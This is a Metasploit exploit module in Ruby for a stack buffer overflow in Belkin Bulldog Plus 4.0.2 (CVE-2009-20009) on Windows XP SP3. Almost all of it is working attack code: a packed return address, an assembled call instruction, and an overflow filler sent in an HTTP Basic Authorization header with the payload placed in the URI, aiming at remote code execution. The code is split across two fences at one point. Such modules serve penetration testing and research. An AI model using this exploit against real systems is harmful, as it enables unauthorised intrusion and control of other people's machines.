```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Belkin Bulldog Plus
          4.0.2 build 1219. When sending a specially crafted http request,
          an attacker may be able to execute arbitrary code.
        },
        'Author' => [ 'MC' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-20009' ],
          [ 'OSVDB', '54395' ],
          [ 'BID', '34033' ],
          [ 'EDB', '8173' ]
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 750,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
          'DisableNops' => true,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-03-08',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    c = connect

    dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword
[esp+58h]").encode_string

    filler = [target.ret].pack('V') + dwerd + make_nops(28)

    print_status("Trying target #{target.name}...")
```

```
      send_request_raw({
        'uri' => payload.encoded,
        'version' => '1.1',
        'method' => 'GET',
        'headers' =>
        {
          'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"
        }
      }, 5)

      handler
    end
  end
```